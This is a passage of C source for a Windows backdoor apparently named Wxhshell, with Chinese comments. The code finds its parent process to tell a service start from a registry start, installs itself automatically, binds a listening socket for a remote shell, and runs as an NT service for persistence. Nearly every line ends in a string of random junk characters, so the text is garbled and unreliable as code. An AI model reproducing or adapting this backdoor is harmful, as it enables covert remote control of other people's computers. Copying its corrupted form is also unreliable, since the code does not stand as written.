DWORD BasePriority; xfSG~csoz
ULONG UniqueProcessId; /'y5SlE[J
ULONG InheritedFromUniqueProcessId; i=v]:TOu
} PROCESS_BASIC_INFORMATION; fY2wDD
|ZU#IQVQfn
PROCNTQSIP NtQueryInformationProcess; S*%iiD)
# nfI%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #1$}S=8*f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ykq'g|
.V%*{eHLL
HANDLE hProcess; >kdM:MK
PROCESS_BASIC_INFORMATION pbi; OR+A_:c.D
C]`eH*z~8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /hdf{4
if(NULL == hInst ) return 0; 4FA|[An
[V@yRWI
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
"7?js $
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OoP@-D"e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {U
<tc4^
rbk<z\pc
if (!NtQueryInformationProcess) return 0; R9.HD?H@
015Owi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jeDlH6X'
if(!hProcess) return 0; =sQ(iso%f
Z|^MGyn
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CKTrZxR"
E!aq?`-'!
CloseHandle(hProcess); Xa`(;CLW?
xaXV^ZM3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MWq$AK]
if(hProcess==NULL) return 0; Vdvx"s[`m
4`mO+.za1
HMODULE hMod; Rlw9$/D!Z
char procName[255]; T2bnzIi
unsigned long cbNeeded; ) Ypz!
ItK
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $P?{O3:V
o_yRn16
CloseHandle(hProcess); xQz#i-v
^now}u9S6
if(strstr(procName,"services")) return 1; // 以服务启动 0~xaUM`
X}apxSd"
return 0; // 注册表启动
$e/*/.
} /{N))
`F,zenk=
// 主模块 ez0 \bym
int StartWxhshell(LPSTR lpCmdLine) >=!AL,:
{ ?;8M^a/
SOCKET wsl; \ j]~>9
BOOL val=TRUE; {v+a!#{c7
int port=0; i=Kvz4h
struct sockaddr_in door; u[t>Tg2R
y<r44a_!
if(wscfg.ws_autoins) Install(); onzA7Gre
q[boWW
port=atoi(lpCmdLine); ZA.fa0n
aBCOGtf
if(port<=0) port=wscfg.ws_port; q<}PM
hZ#\t
WSADATA data; -]&<Sr-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fjkT5LNxk
psD[j W
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A*Q[k 9B
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
-HT L5
door.sin_family = AF_INET; zjoo{IH}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,#%SK;1<
door.sin_port = htons(port); #5d8?n
&5/JfNe3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wU0K3qZL
closesocket(wsl); Ak|b0l>^
return 1; UQdyv(jXq
} Bi_J5 If
9&(.x8d,a
if(listen(wsl,2) == INVALID_SOCKET) { 3^H/LWx`{]
closesocket(wsl); pU[K%@sC
return 1; c+;S<g0
} jmPp-}tS7
Wxhshell(wsl); S%V%!803!
WSACleanup(); nB}e1
/_y
/a%KS3>V*
return 0; 9<qx!-s2rr
ZX]A )5G
} -$tCF >,
tnRJ#[Io
// 以NT服务方式启动 VLd=" ~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %jgg59
{ Z>HNe9pr
DWORD status = 0; lDU#7\5.
DWORD specificError = 0xfffffff; </hR!Sb]
O &\<F T5
serviceStatus.dwServiceType = SERVICE_WIN32; Jh(mbD
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2_Jb9:/X
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DD6 'M
U4
serviceStatus.dwWin32ExitCode = 0; A xR\ned
serviceStatus.dwServiceSpecificExitCode = 0; z{V8@q/
serviceStatus.dwCheckPoint = 0; o(nHB
g
serviceStatus.dwWaitHint = 0; `L">"V`$Bj
/]l f>\x1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s|p(KWo2U
if (hServiceStatusHandle==0) return; a5I%RY
kpY%&
status = GetLastError(); DUPmq!A
if (status!=NO_ERROR) `~KAk
{ wJr/FE7c
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2?pM5n
serviceStatus.dwCheckPoint = 0; R''Sfz>8
serviceStatus.dwWaitHint = 0; ;>'SV~F
serviceStatus.dwWin32ExitCode = status; (aBP|rxg
serviceStatus.dwServiceSpecificExitCode = specificError; 'iDu0LX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (T;1q^j
return; :!hk~#yvJ9
} DMRs}Yz6
vy:6_
serviceStatus.dwCurrentState = SERVICE_RUNNING; u4xA'X'~R
serviceStatus.dwCheckPoint = 0; Z_!9iA:X
serviceStatus.dwWaitHint = 0; } _VZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {8W |W2o$!
} ~vkud+r
2"_ 18l.
// 处理NT服务事件,比如:启动、停止 o+R. u}|
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1dXh\r_n
{ .>a$g7Rj
switch(fdwControl) C!I\Gh
{ L;kyAX@^
case SERVICE_CONTROL_STOP: <|wmjW/D
serviceStatus.dwWin32ExitCode = 0; MbM:3
serviceStatus.dwCurrentState = SERVICE_STOPPED; ),z,LU Yf
serviceStatus.dwCheckPoint = 0; 2@4MC`&